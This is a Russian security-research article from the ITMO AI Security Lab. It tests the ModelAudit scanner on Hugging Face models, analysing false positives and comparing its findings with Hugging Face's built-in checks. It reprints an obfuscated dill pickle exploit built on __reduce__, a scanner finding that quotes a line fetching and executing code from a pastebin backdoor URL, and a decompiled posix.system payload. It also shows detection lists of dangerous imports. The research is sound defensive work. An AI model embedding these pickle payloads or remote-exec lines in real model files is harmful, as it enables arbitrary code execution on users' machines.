|
Professor Seleznov
|
Содержание (кликабельно)
- Введение
- Первый эксперимент - сканируем модели в наиболее опасных форматах хранения
- Анализ сработок самой уловистой модели
- Анализ всех критических сработок из сканирования первого подмножества моделей
- Выводы по первому эксперименту
- Второй эксперимент - сканируем меченые модели
- Нюансы
- Наложение результатов сканирования
- HuggingFace сигнализирует об опасности, но ModelAudit пропускает
- ModelAudit сигнализирует об опасности, но HuggingFace пропускает
- Выводы
Введение Результаты тренировки моделей машинного обучения желательно сохранять, и для этого существует огромное множество форматов хранения. В предыдущей статье "Сканеры ML-моделей: разбор инструментов и некоторых методов обхода их проверок" был представлен обзор основных статических сканеров артефактов ML-моделей. В выводах сканер ModelAudit был выделен как наиболее зрелое решение среди проанализированных конкурентов по следующим критериям:
- количество поддерживаемых к сканированию форматов хранения моделей
- количество проверок под каждый формат моделей
- результаты моих попыток обхода сканеров
- наличие и качество документации
Но, как известно, количество не всегда отражает качество. Для оценки возможностей сканера в более приближенных к реальности условиях я провел множество экспериментов и хочу поделиться двумя наиболее интересными:
- Сканирование подмножества моделей из Hugging Face, сериализованных в виде наиболее опасных форматов хранения моделей
- Сканирование таких моделей из Hugging Face, которые сами авторы пометили зловредными (в названии или описании) с последующим сравнением сработок ModelAudit с результатами проверок встроенных в HF инструментов
Немного спойлеров:
- По результатам первого эксперимента разобраны наиболее фолсящие проверки ModelAudit (некоторые из которых сгенерировали в сумме 700+ сработок в популярной модели Ultralytics/YOLO11)
- Второй эксперимент позволяет оценить разницу между результатами работы целого арсенала инструментов и всего лишь одного ModelAudit
- По ходу рассмотрим, как ML-модели практически без участия человека обслуживают инструментарий, созданный для проверки тех же моделей
На протяжении статьи я буду ссылаться на различные артефакты проведенных экспериментов, некоторые из них доступны в репозитории.
Статья носит исключительно информационный характер и не является инструкцией или призывом к совершению противоправных действий. Цель — рассказать о существующих уязвимостях, которыми могут воспользоваться злоумышленники, предостеречь пользователей и дать рекомендации по защите личной информации в Интернете. Автор не несет ответственности за использование инфо
Меня зовут Вячеслав Мосин, я учусь в магистратуре AI Talent Hub в ИТМО и прохожу практику в лаборатории ITMO AI Security Lab. Эта статья написана в рамках работы лаборатории. Первый эксперимент - сканируем модели в наиболее опасных форматах хранения На Hugging Face опубликовано уже более 2,7 миллиона моделей — просканировать их все на обычном компьютере не получится и за год. Поэтому нам нужно сузить выборку: отобрать те модели, которые с наибольшей вероятностью окажутся опасными. Для этого можно отбирать к дальнейшим проверкам только те модели, в репозиториях которых есть артефакты наиболее опасных форматов. Но какие форматы отнести к таким? Разработчики ModelAudit сами дают ответ на этот вопрос – в описании проекта на PyPI они классифицировали совместимые форматы по уровням опасности:

Форматы хранения, поддерживаемые сканером ModelAudit, с разбивкой по уровню их опасности (на фото неполный список) – источник Общая механика данного эксперимента стала следующей:
- При помощи HF API и библиотеки huggingface_hub формируем список идентификаторов репозиториев моделей на Hugging Face по следующим фильтрам:
- Среди артефактов в репозитории модели должен присутствовать хотя бы один с типом из списка: '.pkl', '.pickle', '.dill', '.pt', '.pth', '.ckpt', '.bin', '.joblib', '.npy', '.npz'
- Суммарный размер всех файлов в репозитории не должен превышать 1 ГБ (чтобы за меньшее время проверить большее число моделей)
- Количество скачиваний модели за последний месяц не более 10000 (популярные модели с меньшей вероятностью могут оказаться зловредными)
- Репозиторий должен быть открытым – не "gated" (на Hugging Face существуют репозитории, у которых "Model Card" доступна всем для просмотра, а для скачивания файлов нужно выполнить дополнительное действие, например, принять условия использования модели – для упрощения такие репозитории просто пропускаются)
- В цикле скачиваем модели и сканируем при помощи ModelAudit
- Сработки сохраняем в отдельный JSON
- Анализируем собранные данные
В такой постановке было просканировано 246 моделей, среди которых удалось найти 271 предупреждение безопасности критического уровня. Важно уточнить – скан одной лишь модели может содержать несколько десятков критических проблем. Прежде чем перейти к статистике, зафиксируем несколько особенностей работы сканера. Возможные уровни опасности (Severity) в результатах сканирования ModelAudit выглядят так (перевод документации):
- CRITICAL: Критические проблемы безопасности, требующие немедленного устранения
- WARNING: Потенциальные проблемы, требующие проверки
- INFO: Информационные сообщения, не обязательно связанные с безопасностью
- DEBUG: Дополнительные сведения (отображаются только с помощью --verbose)
ModelAudit состоит из множества внутренних сканеров, каждый из которых предназначен под определенный тип моделей и форматы их хранения, все они описаны в документации. В результатах моего эксперимента встречаются сработки от внутренних сканеров следующих типов:
- unknown_check
- pytorch_zip_check
- pickle_check
- license_warning
- suspicious_url
- safetensors_check
- manifest_check
- pytorch_binary_check
- weight_distribution_check
- zip_check
Наконец, перейдём к результатам – начнём с 15 наиболее проблематичных моделей по сумме сработок всех типов:
 Анализ сработок самой уловистой модели Самая богатая на сработки модель Ultralytics/YOLO11 получила 728 предупреждений. Является ли это хорошим маркером зловредности модели? Вдобавок можно отметить её высокую популярность – неужели многие используют зловредную модель? Чтобы не распыляться рассмотрим только критические предупреждения, всего их 35 штук. Из них 20 относятся к "type": "pickle_check" и 15 к "type": "pytorch_zip_check". Анализ сработок с типомpickle_check:
Все критические сработки данного типа имеют одинаковые значения атрибута "message": Suspicious reference __builtin__.getattr", между этими сработками отличаются лишь названия артефактов, в которых они были найдены, ниже представлено несколько примеров таких сработок:
{ "message": "Suspicious reference __builtin__.getattr", "severity": "IssueSeverity.CRITICAL", "location": "/app/assets/cloned_models/Ultralytics_YOLO11/yolo11n-seg.pt:yolo11n-seg/data.pkl", "details": { "module": "__builtin__", "function": "getattr", "opcode": "STACK_GLOBAL", "ml_context_confidence": 0.405, "pickle_filename": "yolo11n-seg/data.pkl" }, "why": null, "timestamp": 1771364507.8307638, "type": "pickle_check" }, ... { "message": "Suspicious reference __builtin__.getattr", "severity": "IssueSeverity.CRITICAL", "location": "/app/assets/cloned_models/Ultralytics_YOLO11/yolo11n-seg.pt:yolo11n-seg/data.pkl /app/assets/cloned_models/Ultralytics_YOLO11/yolo11n-seg.pt:yolo11n-seg/data.pkl (pos 138995)", "details": { "module": "__builtin__", "function": "getattr", "position": 138995, "opcode": "GLOBAL", "import_reference": "__builtin__.getattr", "ml_context_confidence": 0.405, "pickle_filename": "yolo11n-seg/data.pkl" }, "why": null, "timestamp": 1771364507.8567154, "type": "pickle_check" }, ...
getattr(obj, name) — стандартная Python-функция, которая получает атрибут объекта по имени, переданному в виде строки. То есть getattr(obj, "method") эквивалентно obj.method. Эта функция может использоваться при создании зловредных файлов для обхода слишком наивных сканеров – при ее помощи можно импортировать любой объект по строке, которая, к примеру, до передачи в getattr может храниться отдельными кусками для усложнения анализа. Но getattr часто используется в том числе и в легитимных моделях, поэтому нельзя назвать такую проверку точной, это подтверждается в том числе и статьей от компании JFrog, разрабатывающей собственный аналогичный сканер. Анализ сработок с типомpytorch_zip_check:
Сработки этого типа между собой тоже имеют много общего - они подсвечивают разные артефакты модели Ultralytics/YOLO11 по наличию в них как минимум одного глобального имени из числа следующих:
"found_malicious": [ "__builtin__.set", "__builtin__.getattr" ],
Пример одной из таких сработок
{ "message": "CRITICAL: Malicious code detected: OBJ(33), NEWOBJ(33), BUILD(13) opcodes detected", "severity": "IssueSeverity.CRITICAL", "location": "/app/assets/cloned_models/Ultralytics_YOLO11/yolo11x.pt:yolo11x/data.pkl", "details": { "cve_id": "CVE-2025-32434", "opcode_counts": { "OBJ": 33, "NEWOBJ": 33, "BUILD": 13 }, "total_dangerous_opcodes": 79, "unique_opcode_types": [ "OBJ", "BUILD", "NEWOBJ" ], "code_execution_risks": [ "New-style object creation", "Object creation code execution", "__setstate__ method exploitation" ], "import_analysis": { "total_imports": 28, "all_legitimate": false, "found_malicious": [ "__builtin__.set" ], "found_imports": [ "ultralytics.nn.modules.block.C3k2", "ultralytics.nn.modules.block.C2PSA", "ultralytics.nn.modules.block.DFL", ... ] }, "safetensors_available": false, "assessment": "malicious", "vulnerability_description": "The weights_only=True parameter in torch.load() does not prevent code execution from pickle files, contrary to common security assumptions.", "recommendation": "DO NOT USE THIS MODEL - it contains malicious imports (__builtin__.set). This is likely a supply chain attack.", "affected_pytorch_versions": "All versions ≤2.5.1", "fixed_in": "PyTorch 2.6.0" }, "why": null, "timestamp": 1771364422.0674577, "type": "pytorch_zip_check" },
Функцию getattr мы уже разбирали, теперь поговорим про builtin.set – тип данных Python, реализующий коллекцию уникальных элементов (аналог математического множества). Как и getattr, он живёт в пространстве имён builtin и доступен без импорта. Это один из самых базовых и безобидных типов в языке. Удивительно видеть сработку критического уровня, вызванную наличием стандартного типа данных, более того, безобидность использования set подтверждается в том числе и исходным кодом проверок типа pickle_check (modelaudit/scanners/pickle_scanner.py):
# Safe ML-specific global patterns (SECURITY: NO WILDCARDS - explicit lists only) ML_SAFE_GLOBALS: dict[str, list[str]] = { # PyTorch - explicit functions only (no wildcards) "torch": [ "Tensor", "FloatTensor", "LongTensor", ... # Python builtins - safe built-in types and functions # NOTE: eval, exec, compile, __import__, open, file are NOT in this list (they remain dangerous) # NOTE: getattr, setattr, delattr, hasattr are NOT in this list # because attribute-access primitives must never be allowlisted. "__builtin__": [ # Python 2 builtins "set", "frozenset", "dict", ...
Но внутренний сканер типа pytorch_zip_check не проверяет отдельные функции на легитимность – всё из пространства имен builtin считается зловредным (modelaudit/scanners/pytorch_zip_scanner.py#L1977):
modelaudit/scanners/pytorch_zip_scanner.py#L1977
class PyTorchZipScanner(BaseScanner): """Scanner for PyTorch Zip-based model files (.pt, .pth, .pkl, .bin)""" name = "pytorch_zip" description = "Scans PyTorch model files for suspicious code in embedded pickles" ... def _analyze_pickle_imports(self, pickle_result: ScanResult) -> dict[str, Any]: """Analyze pickle imports to distinguish legitimate vs malicious patterns""" # Standard PyTorch imports that are expected in legitimate models legitimate_imports = { ... } # Malicious imports that indicate actual attack malicious_imports = { "os.system", "subprocess", "eval", "exec", "compile", "__builtin__", "builtins.eval", "builtins.exec", "webbrowser", "socket", "urllib", } found_imports = set() found_malicious = set() # Extract GLOBAL opcodes from ALL checks (both passed and failed) # This is important because legitimate imports are recorded as passed checks all_checks = pickle_result.issues + getattr(pickle_result, "checks", []) for check in all_checks: check_details = check.details or {} if "import_reference" in check_details: imp = check_details["import_reference"] found_imports.add(imp) # Check if this is a malicious import if any(mal in imp for mal in malicious_imports): found_malicious.add(imp) # Determine if all imports are legitimate all_legitimate = ( all(any(legit in imp for legit in legitimate_imports) for imp in found_imports) if found_imports else True ) return { "total_imports": len(found_imports), "all_legitimate": all_legitimate, "found_malicious": list(found_malicious), "found_imports": list(found_imports), }
Из анализа сработок модели Ultralytics/YOLO11 можно сделать следующие выводы:
- Высокое количество сработок (даже критических) не доказывает зловредность модели, а скорее служит сигналом для более детального ручного анализа – как самой модели, так и применяемых правил сканирования
- Существуют такие функции, которые часто применяются при сериализации легитимных моделей и одновременно являются полезными для составления зловредных файлов (такие функции как, например, getattr), для проверок таких функций необходима сложная логика, которая на данный момент в ModelAudit реализована не для всех кейсов
Анализ всех критических сработок из сканирования первого подмножества моделей Все фолсы критического уровня от самой проблематичной модели разобрали, далее необходимо проанализировать критические сработки по всем 246 просканированным моделям, среди которых только 34 модели имеют хотя бы одно предупреждение критического уровня опасности. Первым делом оценим распределение критических алертов по типам сканеров:
 Сработки типаpytorch_binary_check
Оказалось, что все полученные сработки такого типа имеют одинаковое значение поля message: "Executable signature found: Windows executable (PE)". Ниже представлено несколько примеров таких сработок, найденных в модели apple/coreml-depth-anything-v2-small:
Примеры релевантных сработок
[ { "model_id": "apple/coreml-depth-anything-v2-small", "status": "scanned", "issues": [ { "message": "Executable signature found: Windows executable (PE)", "severity": "IssueSeverity.CRITICAL", "location": "/app/assets/cloned_models/apple_coreml-depth-anything-v2-small/DepthAnythingV2SmallF32P8.mlpackage/Data/com.apple.CoreML/weights/weight.bin (offset: 1112)", "details": { "signature": "4d5a", "description": "Windows executable (PE)", "offset": 1112, "total_found": 15, "pattern_density_per_mb": 0.6, "ml_context_confidence": 0.5415978856889626 }, "why": null, "timestamp": 1771278284.8888228, "type": "pytorch_binary_check" }, { "message": "Executable signature found: Windows executable (PE)", "severity": "IssueSeverity.CRITICAL", "location": "/app/assets/cloned_models/apple_coreml-depth-anything-v2-small/DepthAnythingV2SmallF32P8.mlpackage/Data/com.apple.CoreML/weights/weight.bin (offset: 384294)", "details": { "signature": "4d5a", "description": "Windows executable (PE)", "offset": 384294, "total_found": 15, "pattern_density_per_mb": 0.6, "ml_context_confidence": 0.5415978856889626 }, "why": null, "timestamp": 1771278284.8889217, "type": "pytorch_binary_check" }, { "message": "Executable signature found: Windows executable (PE)", "severity": "IssueSeverity.CRITICAL", "location": "/app/assets/cloned_models/apple_coreml-depth-anything-v2-small/DepthAnythingV2SmallF32P8.mlpackage/Data/com.apple.CoreML/weights/weight.bin (offset: 416485)", "details": { "signature": "4d5a", "description": "Windows executable (PE)", "offset": 416485, "total_found": 15, "pattern_density_per_mb": 0.6, "ml_context_confidence": 0.5415978856889626 }, "why": null, "timestamp": 1771278284.8889542, "type": "pytorch_binary_check" }, ...
Такие и аналогичные сработки генерирует сканер если в проверяемом файле удается найти одну из следующих сигнатур (modelaudit/detectors/suspicious_symbols.py#L565):
# Common executable file signatures found in malicious model data EXECUTABLE_SIGNATURES: dict[bytes, str] = { b"MZ": "Windows executable (PE)", b"\x7fELF": "Linux executable (ELF)", b"\xfe\xed\xfa\xce": "macOS executable (Mach-O 32-bit)", b"\xfe\xed\xfa\xcf": "macOS executable (Mach-O 64-bit)", b"\xcf\xfa\xed\xfe": "macOS executable (Mach-O)", b"#!/": "Shell script shebang", b"#!/bin/": "Shell script shebang", b"#!/usr/bin/": "Shell script shebang", }
Очевидно, что сигнатура из двух байтов слишком чувствительна – в пользу того, что все найденные срабатывания являются ложноположительными, свидетельствуют следующие факторы:
- В помеченных моделях нет критически опасных сработок других типов
- Среди отобранных все модели с такими сработками оказались опубликованными довольно известными компаниями (apple, OpenVINO, FluidInference)
Сработки типаpytorch_zip_check
Находки данного типа можно разделить на две группы:
- Cтриггерились на наличие в файлах моделей как минимум одного из следующих глобальных имен: __builtin__.set, __builtin__.getattr, __builtin__.dict - такие сработки мы уже разбирали ранее
- Сработки в моделях сохраненных при помощи TorchScript, пример описания одной из таких сработок: "Found 9 JIT/Script code risks across file"
Большинство сработок второй группы имеют одинаковый источник проблемы - им выступает название атрибута равное "input", которое используется во многих PyTorch методах и не представляет собой одноименную функцию. Это видно напрямую по "code_snippet" из каждой аналогичной сработки:
Пример релевантной сработки
{ "message": "Dangerous builtin 'input' used in embedded code", "severity": "CRITICAL", "context": "/app/assets/cloned_models/bookbot_zipformer-streaming-robust-sw/exp-causal/jit_script_chunk_32_left_128.pt:jit_script_chunk_32_left_128/code/__torch__/torch/nn/modules/container.py.debug_pkl", "pattern": null, "recommendation": "Remove input usage - it can execute arbitrary code", "confidence": 0.9, "details": {}, "framework": "TorchScript", "code_snippet": "def forward(self, input):\nq\u0002X\u001c\u0000\u0000\u0000 for module in self:\nq\u0003X\"\u0000\u0000\u0000 input = module(input)\nq\u0004X\u0015\u0000\u0000\u0000 return input\nq\u0005XX\u0000\u0000\u0000/root/miniconda3/envs/icefall/lib/python3.10/site-packages/torc", "type": "dangerous_builtin", "operation": null, "builtin": "input", "import_": null }
Сработки типаpickle_check
Критических алертов такого типа в сумме 28 штук, из них 24 подсветили уже разобранную ранее проблему "Suspicious reference __builtin__.getattr5", оставшиеся 4 сработки сообщают об одной из следующих проблем:
- Suspicious reference dill._dill._load_type
- Found REDUCE opcode with non-allowlisted global: dill._dill._load_type. This may indicate CVE-2025-32434 exploitation (RCE via torch.load)
- Extreme stack depth (30001) - stopping scan for safety
Все алерты, связанные с dill._dill._load_type относятся к одной модели с названием DILHTWD/documentlayoutsegmentation_YOLOv8_ondoclaynet. Разберем суть использования этого глобального имени. Dill - библиотека, расширяющая возможности стандартного протокола Pickle, его ключевой особенностью является возможность сохранять функции и лямбда-выражения, при этом Dill является одним из встроенных способов сериализации в PyTorch. Пример сериализации с использованием Dill из предыдущей статьи:
import torch import dill def run_cmd(cmd): x = '__im' y = 'po' z = 'rt__' o = 'o' s = 's' import builtins module = getattr(builtins, x + y + z)(o + s) getattr(module, 'sys' + 'tem')(cmd) class Exploit: def __reduce__(self): return (run_cmd, ("echo HACKED >> /tmp/hacked_obf",)) model = torch.nn.Linear(1, 1) exploit = Exploit() torch.save({'model': model, 'exploit': exploit}, 'malicious.pth', pickle_module=dill)
Возвращаясь к dill._dill._load_type - это вспомогательная функция десериализации внутри dill, которая восстанавливает Python-типы по их имени из внутренней таблицы _typemap. Для моделей архитектуры YOLOv8 использование dill является стандартной практикой. Выводы по первому эксперименту По итогам данного этапа исследования у меня сформировалась следующая позиция – в ModelAudit заложены некоторые проверки, которые в определенных условиях позволяют находить действительно опасные объекты, но "шумность" многих проверок никак не учитывается при выборе критичности генерируемых ими сработок, следовательно, не следует судить о зловредности модели исключительно по количеству предупреждений. Впрочем ложноположительные сработки лучше ложноотрицательных, так как если сгенерировались хоть какие-то находки, то их можно триажировать, а наиболее шумные правила доработать или вообще отключить. Второй эксперимент - сканируем меченые модели В предшествующем анализе удалось собрать аналитику по ошибкам типа "False Positive", но может возникнуть вопрос – раз ModelAudit так часто "фолзит" помечая легитимные модели зловредными, то как он поведет себя с действительно опасными моделями? И стоит ли вообще использовать ModelAudit, после всех тех проверок, которые и так прогоняются на Hugging Face? Для получения ответов на эти вопросы был построен эксперимент со следующей последовательностью шагов:
- Поиск таких моделей, у которых в репозитории встречаются определенные ключевые слова, сигнализирующие о зловредности модели с высокой вероятностью – для этого использовался полнотекстовый поиск по Hugging Face с применением нескольких запросов: "malicious", "ACE" "PoC", "deserialization" "PoC" . В итоге получен список - parsed_raw_models_list.json
- Фильтрация списка через LLM: в контекст модели передаём название репозитория, его описание и результаты HF-проверок – на выходе получаем подборку filtered_models_list.json с наибольшей вероятностью зловредных моделей
- Сканирование итогового списка моделей через ModelAudit, с итогами сканирований можно ознакомиться в файле scanned_data.json
- Сопоставление итогов проведенного сканирования с результатами встроенных в HF проверок
Для первого ознакомления с результатами очередного сканирования снова построим гистограмму распределения сработок всех уровней критичности по 15 самым уловистым моделям. Сразу можно заметить несколько отличий от аналогичного распределения из первого эксперимента: процент критических сработок сильно выше, почти нет моделей с заоблачными количествами алертов (в предыдущем эксперименте было 9 моделей у которых больше 60 сработок, в текущем, как видно ниже, всего одна такая модель).
 На предыдущей гистограмме высота столбцов в конце графика почти не убывала, поэтому ниже построена аналогичная гистограмма, но уже для 30 моделей:
 Графики получились залипательные, но эксперимент задумывался с другой целью - сравнить сканирование при помощи одного инструмента с арсеналом встроенных в Hugging Face проверок. Нюансы Перед тем как перейти непосредственно к такому сканированию необходимо уточнить несколько нюансов: Проблемы с проверками моделей на HF

Пример отображения результатов встроенных в HF проверок безопасности Не для каждой модели отрабатывают все настроенные в HF проверки, причем по разным причинам - начиная с того, что инструменты имеют определенный список поддерживаемых к сканированию артефактов моделей и заканчивая аварийными падениями в процессе сканирования Разные уровни опасности в сработках из Hugging Face и генерируемых через ModelAudit
Сработки, получаемые из HF API, нигде не задокументированы, но среди полученных мной данных были только вот такие варианты уровней опасности:
"level": "unscanned" "level": "suspicious" "level": "unsafe" "level": "error" "level": "caution"
При этом результаты сканирований при помощи ModelAudit могут получать следующие уровни критичности:
"severity": "IssueSeverity.DEBUG", "severity": "IssueSeverity.CRITICAL", "severity": "IssueSeverity.INFO", "severity": "IssueSeverity.WARNING",
Интерпретация уровней опасности ModelAudit описана в документации. Наложение результатов сканирования Если быть точным - сравнивать будем результаты проверок не совсем моделей, а их репозиториев, внутри которых может быть разное число моделей. В текущем сравнении опасными будем считать те репозитории для которых есть хотя бы одна сработка с одним из следующих уровней:
- Для сработок из HF: 'suspicious', 'unsafe'
- Для сработок от ModelAudit: 'IssueSeverity.CRITICAL', 'IssueSeverity.WARNING'
То есть алгоритм сравнения получается примерно следующим:
- Открываем репозиторий очередной модели и получаем артефакты проверок из двух источников: HF API и ModelAudit
- Проходимся по срабатываниям ModelAudit – если есть хотя бы один алерт с уровнем 'IssueSeverity.CRITICAL' или 'IssueSeverity.WARNING', то модель считается опасной по оценке ModelAudit
- Аналогично для HF - если среди срабатываний есть хотя бы один статус 'suspicious' или 'unsafe', то модель отмечаем опасной по оценке Hugging Face
- По результатам обхода всех моделей строим Confusion Matrix
В итоге и была построена следующая матрица:
 Пояснение к матрице:
- На главной диагонали расположены количества моделей, для которых и HF, и ModelAudit выдали одинаковые результаты проверок, среди них 154 модели были отмечены опасными обоими и, соответственно, 49 оценены как безопасные
- На побочной диагонали распложены количества моделей в которых предсказания разошлись
На матрице видно 14 репозиториев моделей которых ModelAudit счел опасными, однако встроенные в HF проверки для них не нашли ничего подозрительного. Это число можно попробовать увеличить, пометив опасными в том числе и те репозитории, которые имеют хотя бы один алерт от ModelAudit одного из уровней: 'IssueSeverity.CRITICAL', 'IssueSeverity.WARNING', 'IssueSeverity.INFO' (к предшествующему списку добавился уровень'IssueSeverity.INFO'). Но бывают ли действительно опасные сработки с уровнем INFO? Ещё как! Ниже представлена одна из сработок, полученная при проверке модели jossefharush/gpt2-rs:
Пример релевантной сработки
{ "model_id": "jossefharush/gpt2-rs", "status": "scanned", "issues": [ ... { "message": "Found 4 network communication patterns (Domain name detected: pastebin.com, Network function call detected: urlopen, Network library detected: urllib, https://pastebin.com/raw/sVvZph7V, import urllib) across file", "severity": "IssueSeverity.INFO", "location": "/app/assets/cloned_models/jossefharush_gpt2-rs/pytorch_model.bin:pytorch_model/data.pkl", "details": { "findings_count": 4, "findings": [ { "type": "url_detected", "severity": "MEDIUM", "confidence": 0.5, "message": "URL detected in model: https://pastebin.com/raw/sVvZph7V", "url": "https://pastebin.com/raw/sVvZph7V", "position": 88, "context": "/app/assets/cloned_models/jossefharush_gpt2-rs/pytorch_model.bin:pytorch_model/data.pkl" }, { "type": "domain", "severity": "MEDIUM", "confidence": 0.8, "message": "Domain name detected: pastebin.com", "domain": "pastebin.com", "position": 88, "context": "/app/assets/cloned_models/jossefharush_gpt2-rs/pytorch_model.bin:pytorch_model/data.pkl" }, { "type": "network_library", "severity": "HIGH", "confidence": 0.7, "message": "Network library detected: urllib", "library": "urllib", "pattern": "import urllib", "context": "/app/assets/cloned_models/jossefharush_gpt2-rs/pytorch_model.bin:pytorch_model/data.pkl" }, { "type": "network_function", "severity": "HIGH", "confidence": 0.6, "message": "Network function call detected: urlopen", "function": "urlopen", "snippet": "ec('''\nimport urllib.request; exec(urllib.request.urlopen(\"https://pastebin.com/raw/sVvZph7V\").read().decode())\n''') or dict()q\u0001q\u0002Rq\u0003(X\n\u0000\u0000\u0000wte.weight", "context": "/app/assets/cloned_models/jossefharush_gpt2-rs/pytorch_model.bin:pytorch_model/data.pkl" } ], "total_findings": 4, "patterns": [ "Domain name detected: pastebin.com", "Network function call detected: urlopen", "Network library detected: urllib", "https://pastebin.com/raw/sVvZph7V", "import urllib", "pastebin.com" ], "aggregated": true, "aggregation_type": "summary", "pickle_filename": "pytorch_model/data.pkl" }, "why": "Models should not contain network communication capabilities", "timestamp": 1773006354.5677795, "type": "pickle_check" },
Как видно, сканер нашел признаки объектов, связанных с сетевой активностью в файле jossefharush_gpt2rs/pytorch_model.bin:pytorch_model/data.pkl. Одной из найденных ссылок является https://pastebin.com/raw/sVvZph7V – откроем ее:
 Как видно, по ссылке лежит бэкдор, который при запуске на машине жертвы отправляет результаты выполнения любых команд с хоста жертвы на сервер злоумышленника. Довольно важная сработка. Проведем новое сравнение, в котором опасными сработками ModelAudit будут считаться еще и те, которым присвоен уровень IssueSeverity.INFO:
 HuggingFace сигнализирует об опасности, но ModelAudit пропускает Суммарное число опасных алертов увеличилось, теперь проанализируем расхождения и сфокусируемся на тех случаях, когда HF отмечал модели опасными, а ModelAudit безопасными, это произошло с шестью моделями:
[ "Iredteam/db-payload-chatbot", "etwithin/diffusers-ckpt-ace-poc", "etwithin/ckpt-scanner-bypass-poc", "etwithin/pytorch-tar-scanner-bypass-poc", "shaq4prez/malicious-olmo3-poc", "etwithin/pytorch-zip-scanner-bypass-poc" ]
Изначально я использовал ModelAudit версии 0.2.24, все вышеуказанные результаты были получены именно при помощи этой версии. Получив шесть потенциальных FN я обновил сканер до актуальной на тот момент версии – 0.2.28 и из шести FN осталось только три. Далее я убедился, что эти модели действительно зловредные (способы будут описаны ниже) и уже собирался зарепортить уязвимости обхода защиты ModelAudit, так как согласно его политике безопасности ошибки приводящие к FN в поддерживаемых к сканированию форматах хранения считаются уязвимостями. Подготовившись к этому я снова обновился на актуальную версию (0.2.31) и уже в этой версии все ошибки были устранены – такая вот история. Использованные техники триажа находок ModelAudit
Сканер ModelAudit является по-настоящему глубоко проработанным решением - в него встроено множество проверок под различные форматы хранения. Но способов хранения моделей существует еще больше чем проверок, притом одно и то же расширение файла в разных фреймворках может обозначать различные по структуре и содержанию артефакты. Один из таких примеров – расширение .ckpt (сокращение от «checkpoint»), применяемое в ряде фреймворков:
Такие нюансы создают сложности для сканера, это и оказалось причиной пропуска опасных моделей 'etwithin/ckpt-scanner-bypass-poc', 'etwithin/diffusers-ckpt-ace-poc'. Изучим репозиторий 'etwithin/diffusers-ckpt-ace-poc' более подробно и для начала взглянем на результаты его проверок в самом HF:

Отображение на HF результатов проверок репозитория модели etwithin/diffusers-ckpt-ace-poc Как видно, опасным является не весь репозиторий, а только один файл. Многие ML-модели хранятся внутри архивов, поэтому и откроем его архиватором:
 Внезапно – внутри Pickle, который должен без проблем сканироваться как при помощи ModelAudit, так и многими другими инструментами. Начнем с ModelAudit (версия 0.2.28) – ниже представлены результаты сканирования data.pkl:
Результаты сканирования data.pkl через ModelAudit
{ "bytes_scanned": 362, "issues": [ { "message": "Legacy dangerous pattern detected: posix\nsystem", "severity": "warning", "location": ".\\etwithin_diffusers-ckpt-ace-poc\\data.pkl", "details": { "pattern": "posix\nsystem", "detection_method": "legacy_pattern_matching" }, "timestamp": 1774903884.589092, "type": "pickle_check" }, { "message": "Suspicious reference posix.system", "severity": "critical", "location": ".\\cloned_models\\etwithin_diffusers-ckpt-ace-poc\\data.pkl", "details": { "module": "posix", "function": "system", "opcode": "GLOBAL", "ml_context_confidence": 0.315 }, "why": "The 'posix' module provides direct access to POSIX system calls on Unix-like systems. Like the 'os' module, it can execute arbitrary system commands and manipulate the file system. The 'posix.system' function is equivalent to 'os.system' and poses the same security risks.", "timestamp": 1774903884.5986443, "type": "pickle_check", "rule_code": "S206" }, { "message": "Suspicious reference posix.system", "severity": "critical", "location": ".\\cloned_models\\etwithin_diffusers-ckpt-ace-poc\\data.pkl (pos 276)", "details": { "module": "posix", "function": "system", "position": 276, "opcode": "GLOBAL", "import_reference": "posix.system", "import_only": false, "classification": "dangerous", "ml_context_confidence": 0.315 }, "why": "The 'posix' module provides direct access to POSIX system calls on Unix-like systems. Like the 'os' module, it can execute arbitrary system commands and manipulate the file system. The 'posix.system' function is equivalent to 'os.system' and poses the same security risks.", "timestamp": 1774903884.5995214, "type": "pickle_check", "rule_code": "S206" }, { "message": "Found REDUCE opcode invoking dangerous global: posix.system", "severity": "critical", "location": ".\\cloned_models\\etwithin_diffusers-ckpt-ace-poc\\data.pkl (pos 357)", "details": { "position": 357, "opcode": "REDUCE", "associated_global": "posix.system", "origin_is_ext": false, "ml_context_confidence": 0.315 }, "why": "The REDUCE opcode calls a callable with arguments, effectively executing arbitrary Python functions. This is the primary mechanism for pickle-based code execution attacks through __reduce__ methods.", "timestamp": 1774903884.5997143, "type": "pickle_check", "rule_code": "S201" }, { "message": "Detected dangerous __reduce__ pattern with posix.system", "severity": "critical", "location": ".\\cloned_models\\etwithin_diffusers-ckpt-ace-poc\\data.pkl (pos 357)", "details": { "pattern": "RESOLVED_REDUCE_CALL_TARGET", "module": "posix", "function": "system", "position": 357, "opcode": "REDUCE", "ml_context_confidence": 0.315 }, "why": "The 'posix' module provides direct access to POSIX system calls on Unix-like systems. Like the 'os' module, it can execute arbitrary system commands and manipulate the file system. The 'posix.system' function is equivalent to 'os.system' and poses the same security risks.", "timestamp": 1774903884.5998695, "type": "pickle_check", "rule_code": "S201" } ], ...
Сразу 4 критических сработки, которые изначально сканер пропустил, потому что просто не применил проверки, соответствующие ZIP-архивам (хотя подходящие проверки уже встроены в инструмент). Получается у нас есть Pickle файл, который ModelAudit подсвечивает несколькими критическими ошибками. Но может это просто очередные FP и вообще какая именно зловредная логика в него заложена? С этим нам поможет Fickling – он помимо проверки Pickle файлов позволяет произвести символическую десериализацию с последующей декомпиляцией (другие особенности Fickling описал в предыдущей статье):
> fickling --trace .\assets\cloned_models\etwithin_diffusers-ckpt-ace-poc\data.pkl PROTO EMPTY_DICT Pushed {} BINPUT Memoized 0 -> {} MARK ... <СОКРАЩЕНО> ... from torch._utils import _rebuild_tensor_v2 from torch import FloatStorage from collections import OrderedDict _var0 = OrderedDict() _var1 = _rebuild_tensor_v2(UNPICKLER.persistent_load(('storage', FloatStorage, '0', 'cpu', 11520)), 0, (320, 4, 3, 3), (36, 9, 3, 1), False, _var0) from posix import system _var2 = system('echo DIFFUSERS_ACE_PROOF > /tmp/diffusers_ace_proof.txt') result0 = {'global_step': 1, 'state_dict': {'model.diffusion_model.input_blocks.0.0.weight': _var1}, 'payload': _var2}
По результатам декомпиляции видно, что этот файл при десериализации импортирует функцию system для выполнения команд в системной оболочке из модуля posix и выполняет bash-скрипт, перезаписывающий файл расположенный по пути /tmp/diffusers_ace_proof.txt. Такая полезная нагрузка представлена просто как PoC, естественно на ее месте мог быть любой другой скрипт, с более интересной и опасной механикой работы. Подведем промежуточные итоги:
- Все отобранные модели, которые были помечены опасными на Hugging Face сканер ModelAudit в версии 0.2.31 тоже рассчитал как опасные
